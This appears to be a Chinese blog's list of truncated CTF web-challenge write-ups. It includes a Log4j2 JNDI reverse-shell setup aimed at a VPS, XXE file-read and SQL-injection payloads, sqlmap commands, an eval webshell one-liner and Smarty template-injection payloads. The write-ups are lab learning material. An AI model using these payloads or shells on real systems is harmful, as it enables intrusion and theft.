web
星星明亮
我是个菜鸡
展开
-
bugku web-Apache Log4j2 RCE
一,准备环境有VPS即可二,题解1,根据提示,/bin/bash:x,带x的是无法执行的(包括base64编码),打勾的是可以执行的2,注意首先VPS上要装有java环境和工具,这里我用的是JNDIExploit-1.2-SNAPSHOT.jar2.2vps先允许反弹shell用到的端口2.3,再启动工具2.4,再开一个窗口监听nc2.5,构造payload,根据提示进行利用将地址改为自己的vps地址,然后将加密后的命令放到末尾原:${jndi:ldap://x.x.x.x:1389原创 2022-01-29 00:41:44 · 3009 阅读 · 0 评论 -
CTF AWD靶场搭建和第一题题解
首先安装docker环境添加GPG密钥并添加更新源curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -echo 'deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list原创 2021-11-17 08:51:20 · 5617 阅读 · 5 评论 -
jarvisoj web-多题wp
api调用,XXE漏洞,上payload<?xml version="1.0"?><!DOCTYPE asdf[<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]><something>&xxe;</something>图片上传漏洞打开题目地址发现只能上传图片,而且绕不过,只能扫一波目录,发现了test.php,是phpinfo看到imagick打开了想到CVE-201原创 2021-09-20 16:29:37 · 3090 阅读 · 0 评论 -
jarvisoj web-simple injection
打开题目地址看到一个登录框,题目说是注入,抓包尝试一下 admin //尝试admin提示密码错误,其他用户名均提示用户名错误'or 1=1# //提示用户名错误,经过测试空格,+号,等都会被过滤,用/**/替代空格后返回密码,存在注入'or/**/1=1# //提示密码错误,确定过滤了空格'or/**/ascii(substr(database(),1,1))=105# 二分法得到当前数据库名第一个字母or(ascii(substr(database(),1,1))=原创 2021-09-18 15:08:30 · 103 阅读 · 0 评论 -
jarvisoj web-easy Gallery
打开题目地址,随便点击发现一个上传图片的地方,且url很像有文件包含的样子尝试一下,上传图片马,发现直接改后缀会被拦,应该是简单的检测了一下内容,上传成功返回id,且访问的upload.php直接访问这个目录后发现报错,摸索了一会终于在uploads目录访问到了上传的图片,在包含的时候发现报错,原来会自动补上php后缀,导致报错,用%00截断一下就行了,包含成功得到flag...原创 2021-09-14 08:12:16 · 151 阅读 · 0 评论 -
jarvisoj web-IN A mess
打开题目网址是空白的,f12看到index.phps,得到源代码if(!$_GET['id']){ header('Location: index.php?id=1'); exit();}$id=$_GET['id'];$a=$_GET['a'];$b=$_GET['b'];if(stripos($a,'.')) # 查找.在a变量出现的位置{ echo 'Hahahahahaha'; return ;}#id==0,典型的弱类型比较,id=0e,即可绕过#b变量要求大于5原创 2021-09-13 20:07:10 · 251 阅读 · 0 评论 -
浙大CTF web-神盾局的秘密
打开题目地址,看到一张图片f12看到img后跟了一串base解码得到shield.jpg,将后缀改为php编码成base访问得到一串代码得到flag所在的pctf.php,直接访问出错,看到url里的showimg.php文件,想到将其编码base64,看一下源代码,发现img参数可以任意查看文件上面提示的shield,已经看过了,这时候想到phpo的web一般都会有index.php,编码base64访问一下看到包含了shield.php文件,那思路就来了,可以用index文件class传参p原创 2021-09-13 10:37:50 · 438 阅读 · 0 评论 -
jarvisoj web-PORT51 and LOCALHOST
PORT51 访问题目看到提示,请从51端口访问这里,该题目端口已经定了,那只能更改自己的了用curl更改访问端口即可得到flagsudo curl --local-port 51 http://题目地址/LOCALHOST抓包在头部添加X-Forwarded-for:127.0.0.1即可...原创 2021-09-10 16:21:33 · 116 阅读 · 0 评论 -
jarvisoj web-phpinfo
打开题目地址得到源码这题的突破点就是ini_set(‘session.serialize_handler’, ‘php’);查了下手册:php大于5.5.4的版本中默认使用php_serialize规则通过phpinfo页面,我们知道php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。再看到当一个上传在处理中,同时POST一个与INI中设置的session.upl原创 2021-09-10 10:28:45 · 159 阅读 · 0 评论 -
bugku web-login2
打开看到一个登录框。提示是命令执行,但这个框,怎么也不像有命令执行的呀看评论发现有注入,用sqlmap跑一下,正好回顾一下命令。python sqlmap.py -r sql.txt --level 5 --batch–batch //选项不询问,全部按照默认得到注入点,跑数据库python sqlmap.py -r web37.txt --dbs --hex,这里要很久跑完的时候忘记截图,直接关掉窗口了。。。得到一个information_schema和bugkuctf爆bugkuctf的表原创 2021-09-07 09:47:58 · 648 阅读 · 1 评论 -
bugku web-getshell
打开网址,发现被混淆了这,百度了很久,终于找到一篇关于解码混淆的文章https://www.52pojie.cn/thread-1074918-1-1.html搞了很久解出来得到<?phphighlight_file(__FILE__);@eval($_POST[ymlisisisiook]);?>用蚁剑链接发现只能再html目录下晃悠,写个phpinfo查看一下环境信息发现很多函数被禁用了,不过没有禁putenv,参考蚁剑插件之绕disable_functions下载好原创 2021-09-06 17:29:33 · 369 阅读 · 0 评论 -
bugku web-文件包含2
打开网址看到一个CKCTF,就没了。审查源代码发现一个upload.php,且url有明显的用于包含文件的file,包含upload提示只能上传图片,测试发现双后缀可绕过包含一下这个文件,用蚁剑链接发现返回为空菜刀也是一样,哎,换一种思路,这里既然有文件包含上传<script language='php'> system('ls') </script>然后进行包含访问,what?这,人傻了然后看了评论。。。直接包含flag就行了。。。。。...原创 2021-09-06 10:42:11 · 163 阅读 · 0 评论 -
bugku web-文件上传-php审计代码绕过
打开网址看到一个上传文件点且提示不能直接上传php文件先上传一个jpg图片,发现不行,查看笔记,发现我做过旧版bugku的该题目,手动狗头,分析源码这个点随便将multipart/form-data的一个字母改成大写就可绕过第二个点,将文件名改成源代码允许的php4即可然后改一下Content-Type: image/jpeg,改成Content-Type: image/jpg即可上传成功...原创 2021-09-04 17:14:54 · 181 阅读 · 0 评论 -
bugku web-安慰奖-考查反序列化和魔术方法
打开网址发现一片空白审查源代码发现一串base,解码得到备份打开查看发现源代码,<?phpheader("Content-Type: text/html;charset=utf-8");error_reporting(0);echo "<!-- YmFja3Vwcw== -->";class ctf{ protected $username = 'hack'; protected $cmd = 'NULL'; public function __原创 2021-09-04 15:23:42 · 350 阅读 · 0 评论 -
bugku web-源代码
打开网站看到一个输入框查看源代码发现很明显的加密解密得到将p1和p2合并起来,得到flagflag{879c01056e0322a95bd18220e2aadc3a}原创 2021-09-03 20:35:16 · 285 阅读 · 0 评论 -
bugku web-本地管理员
打开网址是一个登录框,随便输入两次就禁止访问了查看页面源码发现一串base,解码为test123结合题目本地和登录框的提示,应该是XFF头伪造抓包加入X-Forwarded-For: 127.0.0.1发现报错提示凭证错误,想起来得到的test123,应该是密码,填入,发包得到flag...原创 2021-09-03 20:26:06 · 88 阅读 · 0 评论 -
bugku web-你从那里来?
打开网址得到翻译后为你是从google 来的吗?都这样说了,直接用hacbkar 添加google的网址http://www.google.com原创 2021-08-15 18:19:22 · 92 阅读 · 0 评论 -
bugku web-xx二手交易市场
打开得到一个网站,这个页面没什么利用的点,点击登录那里,试了一波弱口令,无果,试一波注入,无果。那就注册一个账号进去看一下吧注册好后登录,发现可以上传头像,试一下文件上传抓到这个包,发现是经过bas64编码的然后把一句话也进行base64编码,然后替换掉内容,发现不行,这时候看到评论base64后面加一个空格。也就是前面的应该也不能删除,试了一下,还是不行,这时候注意到这里有个图片的格式,或许跟这个有关,我们把它换成php,发现,成了,链接蚁剑,寻找flag,最终在var/www/html原创 2021-08-14 14:34:26 · 561 阅读 · 0 评论 -
bugku web-字符?正则
打开网址看到1.表达式直接写出来的字符串直接利用,如key2.“.”代表任意字符3.“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次4.“/”代表“/”5.[a-z]代表a-z中的任意一个字符6.[[:punct:]]代表任意一个字符,包括各种符号7./i代表大小写不敏感8.{4-7}代表[0-9]中数字连续出现的次数是4-7次构造payload:?id=keykeyaaaakey:/a/keya:...原创 2021-08-11 17:05:25 · 114 阅读 · 0 评论 -
bugku web-file_get_contentsW
打开网址大致意思就是要上传 ac和fn两个参数且ac的值等于fn文件内容的值这时候就可以用到php伪协议的php://input他的作用是可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。这个伪协议需要allow_url_include为on根据代码构造payload:?fn=php://input&ac=123hacker 传入1...原创 2021-08-10 17:04:58 · 163 阅读 · 0 评论 -
bugku web-MD5
提示翻译伪md5碰撞跟前女友的题目一样,用0e开头原创 2021-08-10 15:01:31 · 223 阅读 · 0 评论 -
PHP中sha1()函数和md5()函数的绕过
PHP中sha1()函数和md5()函数的绕过sha1函数和md5都是哈希编码的一种,在PHP中,这两种编码是存在绕过漏洞的。PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。只需要传入开头都是0E的两个值,便可成功绕过。例如这个代码(sha1($_GET['uname']) === sha1($_POST['passwd'])原创 2021-08-10 14:52:42 · 1959 阅读 · 0 评论 -
bugku web-前女友
打开网址得到后面在源代码找到code.txt得到一串代码<?phpif(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if原创 2021-08-10 14:50:43 · 192 阅读 · 0 评论 -
bugku web-各种绕过
打开网址得到代码 <?phphighlight_file('flag.php');$_GET['id'] = urldecode($_GET['id']);$flag = 'flag{xxxxxxxxxxxxxxxxxx}';if (isset($_GET['uname']) and isset($_POST['passwd'])) { if ($_GET['uname'] == $_POST['passwd']) print 'passwd can not be原创 2021-08-09 15:11:49 · 182 阅读 · 0 评论 -
bugku 聪明的php
打开网址得到一句话传入参数a=得到一串代码,应该是确实为smarty模板注入常用payload{if phpinfo()}{/if}{if system(‘ls’)}{/if}{if readfile(’/flag’)}{/if}{if show_source(’/flag’)}{/if}{if system(‘cat …/…/…/flag’)}{/if}smarty中的{if}标签中可以执行php语句<?phpinclude('./libs/Smarty.class.php')原创 2021-07-28 17:03:28 · 249 阅读 · 1 评论